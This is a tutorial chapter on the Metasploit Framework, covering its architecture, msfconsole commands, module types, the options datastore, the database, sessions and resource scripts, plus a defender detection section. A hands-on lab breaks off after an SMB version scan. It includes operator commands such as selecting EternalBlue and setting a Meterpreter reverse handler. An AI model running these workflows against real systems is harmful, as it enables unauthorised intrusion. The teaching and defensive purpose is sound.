Metasploit Part 1: Architecture, msfconsole & Modules
Metasploit Part 1: Architecture, msfconsole & Modules
This is Chapter 3 of the Exploitation notebook. Chapter 1 built the vocabulary of exploitation — exploit versus payload versus shellcode, reverse versus bind shells, listeners and handlers, staged versus stageless delivery — and Chapter 2 turned that vocabulary into working code by finding, vetting and firing standalone public exploits from Exploit-DB. This chapter introduces the single most important tool in offensive security: the Metasploit Framework. Where Chapter 2's exploits were one-off scripts you read, patched and ran by hand, Metasploit is an engine — a structured, database-backed, modular platform that standardises the whole exploit-develop-deliver-post-exploit loop into a common interface.
By the end of this chapter you will understand what Metasploit actually is beneath the famous msfconsole banner: its architecture, the libraries and modules that make it up, the datastore that carries your configuration, the PostgreSQL database that remembers your hosts and loot, and the seven module types you will use every day. You will be able to install and update the framework on Kali, drive msfconsole fluently, search and select modules with precise filters, set and inspect options, understand module ranking and targets, run auxiliary and exploit modules against an authorised lab target, manage multiple sessions and background jobs, and automate a repeatable workflow with a resource script.
Metasploit changes state on other people's computers. It launches real exploits, opens real shells and can crash services outright. Everything in this chapter assumes an explicit, written, scoped engagement or hardware you own. Build the lab in Part 12, attack only your own VMs, read what each module does before you run it, and never point a payload at an address you are not authorised to touch. This chapter is Part 1 of a four-part arc: here we build the foundation (architecture, console, modules); the next chapter covers exploits, payloads, sessions and Meterpreter in depth; Chapter 5 covers msfvenom standalone payload generation and encoding; Chapter 6 covers post-exploitation modules, pivoting and automation.
Part 1: What Metasploit Actually Is
Before touching a single command, get the mental model right, because most people misuse Metasploit precisely because they think it is a "hacking button" rather than what it is: a framework.
A framework, in software terms, is a reusable skeleton of code that provides common structure and services so that individual pieces of functionality don't each have to reinvent networking, encoding, session handling, logging and reporting. Metasploit is exactly this for exploitation. Instead of every exploit shipping its own socket code, its own shellcode, its own encoder and its own way of catching a shell, Metasploit provides all of that as shared libraries, and each individual exploit becomes a small module that plugs into the engine and reuses those services.
Concretely, when you run a Metasploit exploit you are combining independent, swappable parts:
- An exploit module — the code that triggers a specific vulnerability in a specific piece of software (e.g. a buffer overflow in a particular FTP server, or a deserialization bug in a Java app).
- A payload — the code that runs on the target after the vulnerability is triggered (e.g. a reverse shell, or the Meterpreter agent). Crucially, in Metasploit the payload is not baked into the exploit. You pick the exploit and separately pick the payload, and the framework marries them at runtime. This decoupling is the core design idea.
- An encoder — optionally re-encodes the payload bytes to avoid bad characters or naive signature detection.
- A nop generator — pads shellcode with no-operation instructions where an exploit needs a predictable landing zone.
- A handler — the listener on your machine that catches the connection the payload makes back to you.
This modularity is why Metasploit scales. There are thousands of exploit modules and a few dozen payloads; because any compatible payload can be attached to any exploit, the framework gets combinatorial power from a linear amount of code. Learn the engine once and every module feels familiar.
Framework vs Pro vs the wider project
"Metasploit" is an umbrella name. The pieces you should distinguish:
- Metasploit Framework — the free, open-source core (BSD-licensed, sponsored by Rapid7, developed in the open on GitHub). This is what ships on Kali and what this chapter teaches. It is driven from the command line via
msfconsole. - Metasploit Pro — a paid commercial product built on top of the framework, adding a web GUI, automated exploitation, phishing campaigns, reporting and team features. You will almost never need it to learn; the framework does everything for study and most professional testing.
- The wider tooling —
msfvenom(standalone payload generator, covered in Chapter 5),msfdb(database helper), and the RPC/REST interfaces that let other tools drive the framework programmatically.
The framework is written primarily in Ruby. You do not need to know Ruby to use Metasploit, but knowing that modules are Ruby classes helps you read them — and reading a module before running it is a professional habit, exactly as it was for the standalone exploits in Chapter 2. Every module lives as a .rb file on disk and you can open it in any editor.
Why this matters for a real engagement: Metasploit is not just a convenience. It gives you consistency (every exploit is driven the same way, so you make fewer fat-finger mistakes under pressure), reliability (modules are peer-reviewed and ranked, so you know roughly how dangerous each is to run), record-keeping (the database logs every host, service and credential you touch, which becomes your report), and post-exploitation depth (Meterpreter and the post modules are unmatched). Those four properties — consistency, reliability, record-keeping, depth — are why it remains the backbone of hands-on testing decades after its creation.
Part 2: A Short History and Why the Architecture Looks the Way It Does
Understanding why Metasploit is structured as it is makes the structure stick.
Metasploit began in 2003 as a portable network tool — H.D. Moore built it as a Perl-based project to collect and standardise exploit code that until then lived as scattered, inconsistent scripts (exactly the Exploit-DB mess Chapter 2 dealt with). The insight was that exploitation had a common shape: pick a target, trigger a bug, deliver a payload, catch a connection, act on the box. If you factor that common shape into a framework, individual exploits shrink to just the bug-specific part.
In 2007 the framework was rewritten from Perl into Ruby, which gave it clean object-orientation and the mixin system that modules still use. In 2009 Rapid7 acquired the project and funded full-time development while keeping the framework open source. Over the years the payload story matured — most importantly the arrival of Meterpreter, an in-memory, extensible payload that runs entirely in RAM and never touches disk as a file, which is the subject of the next chapter.
The architectural consequences you care about:
- Because exploits and payloads were separated early, you get the pick-and-mix model. This is unusual and powerful; most standalone exploits hardcode their shellcode.
- Because the framework is library-first, features like SMB, HTTP, SSH and Kerberos protocol handling are shared services (in the
Rexandmsf/corelibraries) that any module can call. When you see a module "just work" against SMB, it is standing on thousands of lines of shared protocol code. - Because it grew a database layer, Metasploit can act as the connective tissue of a whole engagement: import Nmap results, track which hosts run which services, store cracked credentials, and feed all of that back into modules automatically.
flowchart TD
subgraph UI["User Interfaces"]
A1[msfconsole]
A2[msfvenom]
A3[RPC / REST API]
end
subgraph CORE["Framework Core (msf/core)"]
B1[Module Manager]
B2[Datastore]
B3[Session Manager]
B4[Job Manager]
B5[Event / Plugin System]
end
subgraph LIBS["Libraries"]
C1[Rex - protocols, sockets, encoding]
C2[Msf-Core - module base classes]
C3[Msf-Base - simplified API]
end
subgraph MODS["Modules on disk"]
D1[exploits]
D2[auxiliary]
D3[payloads]
D4[encoders]
D5[nops]
D6[post]
D7[evasion]
end
DB[(PostgreSQL DB<br/>hosts / services / loot / creds)]
UI --> CORE
CORE --> LIBS
CORE --> MODS
CORE <--> DB
Read the diagram top-down: you type into an interface (almost always msfconsole); the interface drives the core (which tracks the selected module, the datastore of options, active sessions and background jobs); the core stands on libraries (Rex for low-level protocol/socket/encoding work, Msf::Core for the base classes every module inherits); the core loads modules from disk and pairs them with payloads; and the whole thing reads and writes a PostgreSQL database that remembers everything you discover.
Part 3: Installing, Updating and First Launch
On Kali Linux and Parrot OS, the Metasploit Framework is pre-installed as the metasploit-framework package. You rarely install it from scratch, but you should know how, and you must know how to update it and stand up its database.
Confirming the install
# Is it installed, and which version?
msfconsole --version
# Framework Version: 6.4.x-devIf it is missing (a minimal install, a non-Kali distro), install it from the Rapid7 repository rather than distro packages, which lag:
# Official omnibus installer (Debian/Ubuntu/Kali)
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstallcurl <url> > msfinstall— download the installer script to a local file.curlis the standard command-line HTTP client;>redirects its output to a file rather than the terminal.chmod 755 msfinstall— make the script executable.755means owner can read/write/execute, group and others can read/execute (the Linux series' permissions chapter covers the octal notation).sudo ./msfinstall— run the installer with root privileges so it can add the apt repository and install system-wide.
Updating the framework
On Kali, update through apt so the whole system stays consistent:
sudo apt update && sudo apt install metasploit-frameworkapt update— refresh the local package index so apt knows the latest available versions.&&— run the second command only if the first succeeds.apt install metasploit-framework— install or upgrade the package to the newest version in the repo.
Avoid the old msfupdate command on Kali; it can pull a version out of step with the rest of the distro. On a Rapid7-omnibus install (not Kali), msfupdate is the correct updater.
Standing up the database (do this once)
Metasploit's real power comes online only when its PostgreSQL database is running and initialised. Without it you can still fire single modules, but you lose host/service tracking, loot storage, workspaces and fast search. Initialise it once:
# Start PostgreSQL and create the msf database + schema
sudo systemctl start postgresql
sudo msfdb initsystemctl start postgresql— start the PostgreSQL service via systemd, Linux's service manager. Usesystemctl enable --now postgresqlto also start it automatically at every boot.msfdb init— Metasploit's database helper. It creates themsfdatabase, a database user, the schema, and writes adatabase.ymlconfig somsfconsoleconnects automatically.
Other msfdb subcommands worth knowing:
| Command | What it does |
|---|---|
msfdb init |
Create and initialise the database and config |
msfdb status |
Report whether the DB is running and initialised |
msfdb start / msfdb stop |
Start/stop the bundled PostgreSQL instance |
msfdb reinit |
Wipe and recreate from scratch (destroys stored data) |
msfdb run |
Init if needed, then launch msfconsole |
First launch
msfconsoleThe first launch after boot can take 20–40 seconds while it loads thousands of modules. You are greeted by a random ASCII banner, a module count, and the msf6 > prompt. The 6 is the major version. Immediately verify the database connected:
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
If it says "not connected", exit, run sudo msfdb init, restart PostgreSQL, and relaunch. A connected database is the difference between using Metasploit as a toy and using it as a platform.
Speed tip: launch with msfconsole -q to suppress the banner, and msfconsole -x "use exploit/...; set RHOSTS ...; run" to run commands non-interactively. The -q (quiet) flag alone shaves the banner render and is the flag experienced operators use by reflex.
Part 4: The Module Taxonomy — the Seven Types
Everything Metasploit does is a module. There are seven module types, each in its own top-level directory under the modules path (typically /usr/share/metasploit-framework/modules/). Knowing which type you need is half of using the framework well.
mindmap
root((Metasploit Modules))
Exploit
triggers a vulnerability
pairs with a payload
has targets and ranking
Auxiliary
no payload
scanners fuzzers spoofers
admin and DoS modules
Payload
runs on the target
singles stagers stages
Meterpreter and shells
Encoder
re-encode payload bytes
avoid bad chars and naive AV
NOP
no-operation padding
alignment for shellcode
Post
run after a session opens
loot pivot persistence
Evasion
craft AV-evasive binaries
Exploit modules (exploit/)
The code that triggers a specific vulnerability to gain code execution or otherwise abuse a target. An exploit module carries a payload, has one or more targets (specific OS/software builds it supports), and a rank describing reliability. This is the type most people picture when they think "Metasploit". Path convention: exploit/<platform>/<service>/<name>, e.g. exploit/windows/smb/ms17_010_eternalblue.
Auxiliary modules (auxiliary/)
Anything that does not carry a payload: scanners, fuzzers, sniffers, spoofers, brute-forcers, denial-of-service modules, and administrative tools. If a module just gathers information or manipulates a service without dropping code, it is auxiliary. Examples: auxiliary/scanner/smb/smb_version, auxiliary/scanner/ssh/ssh_login, auxiliary/scanner/http/dir_scanner. Auxiliary scanners are often where a real workflow starts — you enumerate before you exploit.
Payload modules (payload/)
The code executed on the target after an exploit succeeds. Three sub-kinds (covered deeply next chapter):
- Singles — fully self-contained, do one thing, no network stager needed (e.g.
windows/shell_bind_tcp). Named with underscores. - Stagers — a tiny first-stage that sets up a network connection and pulls down a larger second stage (e.g.
windows/meterpreter/reverse_tcp). Named with slashes. - Stages — the large payload the stager downloads (e.g. Meterpreter itself). The staged/stageless distinction from Chapter 1 lives here.
Encoder modules (encoder/)
Transform payload bytes into an equivalent form that avoids bad characters (bytes the vulnerable code can't tolerate, like null bytes \x00 in a string overflow) or that scrambles a naive signature. The famous x86/shikata_ga_nai is a polymorphic XOR encoder. Encoding is not reliable AV evasion any more (modern AV decodes it), but it remains essential for the bad-character problem.
NOP modules (nop/)
Generate no-operation instruction sleds — padding that lets execution "slide" into your shellcode when the exact landing address is uncertain. Mostly relevant to classic memory-corruption exploits; rarely selected by hand.
Post modules (post/)
Run after you already have a session on a host. Loot gathering, privilege escalation checks, credential dumping, pivoting setup, persistence, screen capture. Path convention post/<platform>/<category>/<name>, e.g. post/windows/gather/hashdump. Chapter 6 is dedicated to these.
Evasion modules (evasion/)
A newer type that builds antivirus-evasive Windows binaries directly (a more integrated cousin of msfvenom encoding). Distinct from encoders because they target endpoint AV specifically.
| Type | Directory | Carries payload? | Runs where | Typical use |
|---|---|---|---|---|
| Exploit | exploit/ |
Yes | Against target | Gain code execution |
| Auxiliary | auxiliary/ |
No | Against target | Scan, brute, fuzz, DoS |
| Payload | payload/ |
— | On target | Shell / Meterpreter |
| Encoder | encoder/ |
— | Build-time | Avoid bad chars |
| NOP | nop/ |
— | Build-time | Shellcode alignment |
| Post | post/ |
No | On owned host | Loot, pivot, persist |
| Evasion | evasion/ |
Yes | Build-time | AV-evasive binary |
Reading a module path is a skill. exploit/windows/smb/ms17_010_eternalblue decodes instantly once you know the grammar: it's an exploit, for Windows, in the SMB service, named after MS17-010 EternalBlue. Every path follows type/platform/service-or-category/name.
Part 5: Driving msfconsole — Core Commands
msfconsole is the primary interface — a rich, tab-completing, history-aware shell. Learn these commands until they are reflex. They fall into families: help/navigation, module selection, options, execution, and database.
Help and navigation
help # list all commands (grouped)
help set # help for one command
? # alias for help
banner # print a fresh banner (and module counts)
version # framework and console version
connect 10.10.10.5 445 # built-in netcat-like TCP client
Two quality-of-life features: tab completion works on commands, module names, options and even option values; and command history persists across sessions (up-arrow, or history). You can run system commands inline — ls, cat, ping — because the console passes unknown-but-executable words to the shell.
Selecting and inspecting modules
search eternalblue # find modules by keyword
use exploit/windows/smb/ms17_010_eternalblue # select a module
use 0 # select by result index from the last search
info # full details of the selected module
back # deselect the current module
previous # switch to the previously selected module
Once a module is selected the prompt changes to show it, e.g. msf6 exploit(windows/smb/ms17_010_eternalblue) >. That context is everything — subsequent commands like set, show options and run apply to the selected module.
Options: the datastore in practice
show options # required and optional settings for this module
show missing # only the required options not yet set
set RHOSTS 10.10.10.5 # set a module-local option
setg LHOST 10.10.14.7 # set a GLOBAL option (persists across modules)
unset RHOSTS # clear one option
unsetg LHOST # clear a global option
get RHOSTS # read back a value
show options prints a table of settings. Each has a name, current value, a Required flag, and a description. Anything with Required = yes and an empty Current Setting must be filled before the module will run — show missing filters straight to those.
Targets, payloads and advanced options
show targets # OS/build variants this exploit supports
set TARGET 2 # choose a target by index
show payloads # payloads compatible with this exploit + target
set PAYLOAD windows/x64/meterpreter/reverse_tcp
show advanced # rarely-touched but powerful extra options
show evasion # evasion-related options for this module
Execution
check # safely test if target is vulnerable WITHOUT exploiting (if supported)
run # execute the module
exploit # alias of run for exploit modules
exploit -j # run as a background job
exploit -z # run but do not interact with the session immediately
run -h # options for run itself (verbose, jobs, etc.)
check is underused gold: many exploit modules can probe for the vulnerability without firing it, which is far safer on production systems and gives you a defensible "confirmed vulnerable" finding.
Sessions and jobs
sessions # list active sessions
sessions -i 1 # interact with session 1
sessions -l # verbose list
sessions -k 1 # kill session 1
sessions -u 1 # upgrade a shell session to Meterpreter
background # (inside a session) drop back to the console, keep session alive
jobs # list background jobs (e.g. handlers, running exploits)
jobs -k 0 # kill job 0
kill 0 # kill a job by id
| Command | Family | Purpose |
|---|---|---|
search |
selection | Find modules |
use |
selection | Select a module |
info |
selection | Describe a module |
show options |
config | List settings |
set / setg |
config | Set a value (local / global) |
check |
execution | Test vulnerability safely |
run / exploit |
execution | Fire the module |
sessions |
post | Manage open sessions |
jobs |
post | Manage background jobs |
db_nmap |
database | Nmap + auto-import |
hosts / services |
database | Query stored recon |
Part 6: The Datastore — Local vs Global Options
The datastore is Metasploit's configuration memory: the set of named variables (RHOSTS, LHOST, PAYLOAD, etc.) that modules read from. Misunderstanding it is the single most common beginner trap, so treat this part carefully.
There are two datastores:
- The module (local) datastore — options you
setwhile a module is selected. They belong to that module instance and are cleared or reset when you switch away (though Metasploit remembers per-module values within a session). - The global datastore — options you
setg. They apply to every module until youunsetgthem or quit. This is how you setLHOSTonce for the whole engagement instead of re-typing your IP into every module.
flowchart LR
subgraph G["Global datastore (setg)"]
LH[LHOST 10.10.14.7]
LP[LPORT 4444]
end
subgraph M["Module datastore (set)"]
RH[RHOSTS 10.10.10.5]
PL[PAYLOAD reverse_tcp]
end
MOD[Selected module reads options] --> M
MOD -.falls back to.-> G
M -->|overrides| G
The resolution rule: when a module needs an option, it looks in its local datastore first; if not set there, it falls back to the global datastore. A local set therefore overrides a global setg for that module. This is why setg LHOST your attacker IP once, then only set RHOSTS per target, is the efficient pattern.
Common options you will set constantly:
| Option | Meaning | Where you set it |
|---|---|---|
RHOSTS |
Remote/target host(s). Accepts a single IP, CIDR 10.0.0.0/24, range 10.0.0.1-20, or a file file:/path/targets.txt |
Local, per target |
RPORT |
Remote/target port (module has a sensible default) | Local, rarely changed |
LHOST |
Local host — your IP the payload connects back to | Global, once |
LPORT |
Local port your handler listens on | Global or local |
PAYLOAD |
Which payload to attach to an exploit | Local |
TARGET |
Which target variant of the exploit | Local |
SESSION |
Which existing session a post module runs against | Local |
THREADS |
Concurrency for scanners | Local |
Watch the plural: modern modules use RHOSTS (plural, supports ranges and CIDR) not the old singular RHOST. Setting the wrong one is a classic "why won't this run" mistake — show missing will save you.
save writes the current global datastore to ~/.msf4/config so it survives restarts; use it sparingly, because stale globals from a previous engagement pointing your payload at an old IP is a real and embarrassing failure mode. setg is powerful precisely because it is sticky — respect that.
Part 7: Searching and Selecting Modules Precisely
With tens of thousands of modules, search fluency is what separates fast operators from slow ones. Bare keyword search is fine to start, but the filter keywords are where the power is.
search eternalblue
search ms17-010
search type:exploit platform:windows smb
search cve:2021-44228 # Log4Shell
search author:hdm
search name:tomcat type:exploit
search rank:excellent type:exploit platform:linux
Filter keywords you should memorise:
| Filter | Matches on | Example |
|---|---|---|
type: |
Module type | type:auxiliary |
platform: |
Target platform | platform:windows |
cve: |
CVE identifier | cve:2017-0144 |
name: |
Module name text | name:smb |
path: |
Module path text | path:scanner |
author: |
Module author | author:hdm |
rank: |
Reliability rank | rank:excellent |
arch: |
Architecture | arch:x64 |
port: |
Default RPORT | port:445 |
app: |
Client/server side | app:server |
disclosure_date: |
When the bug was published | disclosure_date:2021 |
Combine them freely: search type:exploit platform:windows rank:great port:445 narrows thousands of modules to a short, high-quality list. Results are numbered, and use <number> selects by index — a fast idiom immediately after a search.
msf6 > search type:exploit name:ms17_010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/... via SMB
msf6 > use 0
Reading the result table: the Rank column is a promise about reliability (see Part 8), and the Check column tells you whether the module supports the safe check command. Prefer modules that support check on production systems, and prefer higher ranks when you have a choice.
grep chains onto commands too — grep meterpreter show payloads filters a long listing, and search ... | grep excellent refines further.
Part 8: Exploit Ranking, Targets and the info Screen
Two module properties decide how you use an exploit safely: its rank and its targets.
Exploit rank
Every exploit module carries a rank that estimates how reliable and how safe it is — specifically, how likely it is to work and how likely it is to crash the target service or the whole box. From best to worst:
| Rank | Meaning |
|---|---|
excellent |
Never crashes the service; no memory corruption (e.g. command injection, auth bypass, SQLi-to-RCE). The gold standard — run these with confidence. |
great |
Default target auto-detected or a very reliable check; works reliably. |
good |
Default target reasonable for the common case. |
normal |
Reliable but must be manually targeted; no auto-detect. |
average |
Somewhat unreliable — EternalBlue itself is here. |
low |
Unlikely to work (under ~50%) on the common target. |
manual |
Nearly always needs hand-tuning, or is a DoS, or is unstable. Read the module before firing. |
Why this matters on a live test: an average or low memory-corruption exploit against a production server can bluescreen the box and take a service down — a real, billable incident. Reach for excellent/great ranks first, use check where offered, and only run average-and-below modules against systems where a crash is acceptable (your own lab, or a scoped, change-approved window). Rank is a risk signal, not just a quality score.
Targets
Memory-corruption and many logic exploits are build-specific: the same bug needs different offsets or techniques on Windows 7 x86 vs Windows Server 2016 x64 vs a specific service pack. Metasploit encodes these as targets:
msf6 exploit(...) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 7 and Server 2008 R2 (x64) All Service Packs
2 Windows 8.1 / Server 2012 R2 (x64)
msf6 exploit(...) > set TARGET 1
0 Automatic Targeting tries to fingerprint the target and pick for you; it is convenient but can guess wrong. When you know the exact build from enumeration (Chapter 2's version-banner work), setting the target explicitly is more reliable than trusting auto-detection.
The info screen
info (or info <module> without selecting) is the module's full datasheet: description, authors, references (CVE, EDB-ID, MSB, URLs), disclosure date, rank, available targets, all options with defaults, and often notes on reliability and side effects. Reading info before running is the Metasploit equivalent of reading the exploit source in Chapter 2 — do it every time. It tells you what the module will do, what it needs, and how it can go wrong.
msf6 exploit(windows/smb/ms17_010_eternalblue) > info
Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
Module: exploit/windows/smb/ms17_010_eternalblue
Platform: Windows
Rank: Average
Disclosed: 2017-03-14
Provided by:
Sean Dillon, Dylan Davis, Equation Group ...
Available targets:
Id Name
-- ----
0 Automatic Target
Description:
This module is a port of the Equation Group ETERNALBLUE exploit...
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-0143
MSB-MS17-010
Part 9: The Database — Workspaces, Hosts, Services and Loot
The PostgreSQL database is what turns Metasploit from an exploit launcher into an engagement platform. It records every host you see, every service you enumerate, every credential you steal and every piece of loot you exfiltrate — and modules read from and write to it automatically.
Workspaces
A workspace is an isolated container of database data — think one workspace per engagement or per target network, so a client's hosts never mix with another's.
workspace # list workspaces (* marks current)
workspace -a client_acme # add and switch to a new workspace
workspace client_acme # switch to an existing workspace
workspace -d old_engagement # delete a workspace and all its data
workspace -r old new # rename
Start every engagement with workspace -a <name>. It is the cleanest way to keep data separated and your final report accurate.
Populating the database with db_nmap
The fastest way to fill the database is to run Nmap through Metasploit so results import automatically:
db_nmap -sV -sC -O 10.10.10.0/24
-sV— service/version detection (fills theservicestable with product and version).-sC— run default NSE scripts.-O— OS detection.- The CIDR scans the whole /24. Every host, port, service and OS guess lands in the database.
You can also import existing scans: db_import scan.xml ingests Nmap XML, Nessus, Nexpose, Qualys and many other formats. On a real test you often import the team's authorised Nmap output rather than rescanning.
Querying stored data
hosts # all discovered hosts (IP, OS, name)
hosts -c address,os_name,name # choose columns
services # all discovered services
services -p 445 # filter services by port
services -s smb # filter by service name
services -u # only "up" services
vulns # vulnerabilities correlated to hosts
creds # captured/stored credentials
loot # files/data exfiltrated by post modules
notes # freeform notes attached to hosts
The database feeds modules back automatically
The payoff: once services are in the database, you can point a module at all matching hosts at once. Setting RHOSTS from the services table, or using the -R convention some workflows adopt, lets an auxiliary scanner sweep every host running a given service without you copy-pasting IPs. This closed loop — scan → store → module reads store → results stored — is the architectural heart of an efficient Metasploit engagement.
sequenceDiagram
participant O as Operator
participant C as msfconsole
participant DB as PostgreSQL
participant T as Targets
O->>C: workspace -a acme
O->>C: db_nmap -sV 10.10.10.0/24
C->>T: Nmap probes
T-->>C: open ports + versions
C->>DB: store hosts + services
O->>C: use auxiliary/scanner/smb/smb_version
C->>DB: read hosts running SMB
C->>T: SMB version probe
T-->>C: SMB dialect + OS
C->>DB: store vulns / notes
O->>C: hosts / services / creds
DB-->>O: consolidated engagement data
Blue-team note: everything in that loop is loud. db_nmap across a /24 generates a burst of connection attempts and version probes across the whole range in seconds — a pattern that IDS/NetFlow analytics flag immediately as horizontal scanning. We return to the defender's view in Part 11.
Part 10: Sessions, Jobs and Resource-Script Automation
Sessions
When an exploit succeeds it opens a session — an interactive channel to the compromised host (a command shell, or a Meterpreter session). Metasploit can hold many sessions at once, numbered 1, 2, 3…:
sessions # list all
sessions -i 2 # interact with session 2
background # from inside a session, return to console (session stays alive)
sessions -k 2 # kill session 2
sessions -K # kill ALL sessions
sessions -u 3 # upgrade a basic shell (session 3) to Meterpreter
sessions -C "sysinfo" -i 3 # run a command in a session without full interaction
The background command (or Ctrl-Z inside a session) is essential: it lets you keep a shell open while you go configure and run the next module, then sessions -i back into it. Losing this habit means killing a hard-won shell just to run one more scan.
Jobs
A job is a module running in the background — most importantly a handler (the listener that catches reverse connections). exploit -j runs an exploit as a job so the console stays free; the classic pattern is to start a multi/handler as a job so it keeps listening while you deliver a payload by other means:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
setg LHOST 10.10.14.7
set LPORT 4444
exploit -j # background handler; console returns immediately
jobs # confirm the handler is listening
jobs -k <id> stops one job; jobs -K stops all. A dangling handler job from an earlier attempt is a common reason "the port is already in use" — check jobs when a listener won't bind.
Resource scripts — automation
A resource script (.rc file) is just a list of msfconsole commands, optionally with embedded Ruby, run in sequence. It turns a repeatable setup into one command — the poor man's automation that every operator uses to avoid re-typing the same 8 lines each morning.
Create handler.rc:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.7
set LPORT 4444
set ExitOnSession false
exploit -j -z
Run it two ways:
# At launch:
msfconsole -q -r handler.rc
# Or from inside the console:
msf6 > resource handler.rcmakerc does the reverse — it writes every command you have typed this session into a .rc file, so you can "record" a working workflow and replay it:
msf6 > makerc /root/engagement.rc
Resource scripts can even contain Ruby (<ruby> ... </ruby> blocks) for loops and logic, but a plain list of commands covers the vast majority of real automation. This is the on-ramp to the deeper automation covered in Chapter 6.
Part 11: Detection & Defense Angle
Everything above is offense. A professional understands both sides, because the same knowledge that makes you effective on a test makes you effective at catching an intruder. This section consolidates the defender's view of Metasploit activity.
What Metasploit looks like on the wire and on the host
Metasploit is not stealthy by default — it is a testing framework, not a bespoke C2 built for evasion. Default artifacts a defender can hunt:
- Default listener ports.
LPORT 4444is the framework default and a well-known IOC. A connection to an internal host on 4444/tcp is a classic Metasploit tell. (Operators change it precisely because defenders watch it.) - Meterpreter TLS fingerprint. Staged Meterpreter over
reverse_tcpfirst pulls a stage; thereverse_httpsvariants use a TLS certificate whose default fields and JA3/JA3S hashes have historically been fingerprintable. Modern detection stacks ship Suricata/Zeek signatures for known Meterpreter TLS behaviour. - Loud scanning.
db_nmapand the auxiliary scanners generate high-fanout, high-rate connection patterns (many hosts, sequential ports) that NetFlow/Zeekconn.loganalytics flag as horizontal or vertical scanning. - The stager download. A staged payload fetches the second stage over the same channel immediately after connecting — a short outbound connection followed by a larger inbound transfer, then long-lived beaconing.
- On-host artifacts. Payload processes, injected threads, and post-module actions (a sudden
hashdump, service creation for persistence,net userenumeration) leave Windows Event Log and Sysmon traces.
flowchart LR
A[Recon db_nmap sweep] -->|horizontal scan pattern| D1[IDS / NetFlow alert]
B[Exploit fired] -->|known module traffic sig| D2[Suricata / Zeek rule]
C[Payload connect-back 4444] -->|odd port + TLS JA3| D3[Egress / proxy alert]
E[Post hashdump persistence] -->|Sysmon 1/7/8/11 and 4688| D4[EDR / SIEM]
D1 --> SOC[SOC triage and IR]
D2 --> SOC
D3 --> SOC
D4 --> SOC
Concrete detections a blue team deploys
| Signal | Where it shows | Detection idea |
|---|---|---|
| Reverse shell to :4444 | Firewall / proxy / Zeek conn.log | Alert on internal-host outbound to uncommon high ports, esp. 4444/4445 |
| Meterpreter TLS | Zeek ssl.log / Suricata | JA3/JA3S hashes and default cert fields for known Meterpreter |
| Nmap-style sweep | NetFlow / Zeek | Many-destinations, few-packets fanout from one source in a short window |
hashdump / LSASS access |
Sysmon EID 10, Windows 4688 | Process accessing lsass; suspicious child processes of exploited service |
| Service persistence | Sysmon EID 7/13, Windows 7045 | New service creation, autorun registry writes |
| Process injection | Sysmon EID 8 (CreateRemoteThread) | Injected threads into legitimate processes |
IR use case: if you find a listener on 4444, a short outbound TCP session immediately followed by a larger inbound transfer, and then LSASS access from an unexpected process, you are very likely looking at a staged Meterpreter compromise — and knowing the offensive workflow above tells you exactly which host artifacts to collect next (injected process, loaded extensions, any .rc-style repeated actions).
Hardening that blunts Metasploit specifically
- Patch the exploitable service — the module can't fire if the bug is gone. MS17-010 modules are inert on a patched host.
- Egress filtering — default-deny outbound so a reverse shell has nowhere to call home; this alone defeats a large fraction of naive payloads.
- Application allow-listing / EDR — stops the payload process or the injected thread from running or persisting.
- Network segmentation — limits the pivoting that Chapter 6 covers.
- Monitor the defaults — because so many operators never change 4444, the default port, and known Meterpreter signatures, monitoring the defaults catches the unskilled majority cheaply.
Part 12: Hands-On Lab — From Fresh Console to a Scan and a Shell
This lab is fully reproducible on hardware you own. Everything is lab-scoped. Do not point any command at a system you are not authorised to test.
Lab topology
- Attacker: Kali Linux VM, IP
10.10.14.7(adjust to yours — find it withip a). - Target: the intentionally-vulnerable Metasploitable 3 or Metasploitable 2 VM, or a purpose-built Windows lab box, IP
10.10.10.5. Metasploitable is free and designed exactly for this. - Both on a host-only / isolated NAT network with no route to anything real.
flowchart LR
K[Kali attacker 10.10.14.7] -- isolated host-only net --> M[Metasploitable target 10.10.10.5]
K -. no route .-> INT[(Internet / real hosts)]
Step 0 — Prepare the framework and database
sudo systemctl start postgresql
sudo msfdb init
msfconsole -qmsf6 > db_status
[*] Connected to msf. Connection type: postgresql.
msf6 > workspace -a lab_metasploitable
[*] Added workspace: lab_metasploitable
[*] Workspace: lab_metasploitable
Step 1 — Recon into the database
msf6 > db_nmap -sV 10.10.10.5
[*] Nmap: Starting Nmap 7.94 ...
[*] Nmap: 21/tcp open ftp vsftpd 2.3.4
[*] Nmap: 22/tcp open ssh OpenSSH 4.7p1
[*] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X - 4.X
[*] Nmap: 445/tcp open microsoft-ds Samba smbd 3.X - 4.X
[*] Nmap: 3306/tcp open mysql MySQL 5.0.51a
[*] Nmap: Nmap done: 1 IP address (1 host up)
msf6 > hosts
Hosts
=====
address mac name os_name os_flavor purpose info comments
------- --- ---- ------- --------- ------- ---- --------
10.10.10.5 Linux server
msf6 > services -p 445
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
10.10.10.5 445 tcp microsoft-ds open Samba smbd 3.X - 4.X
The scan populated the hosts and services tables automatically. Everything downstream reads from here.
Step 2 — An auxiliary scanner (no payload) to confirm SMB detail
Teach the tool from scratch: auxiliary/scanner/smb/smb_version is a scanner module — an auxiliary that connects to SMB and reports the dialect, OS and domain without exploiting anything. It is the safe, quiet way to confirm exactly what you are dealing with before choosing an exploit.
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s)
THREADS 1 yes The number of concurrent threads
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.10.10.5
RHOSTS => 10.10.10.5
msf6 auxiliary(scanner/smb/smb_version) > run
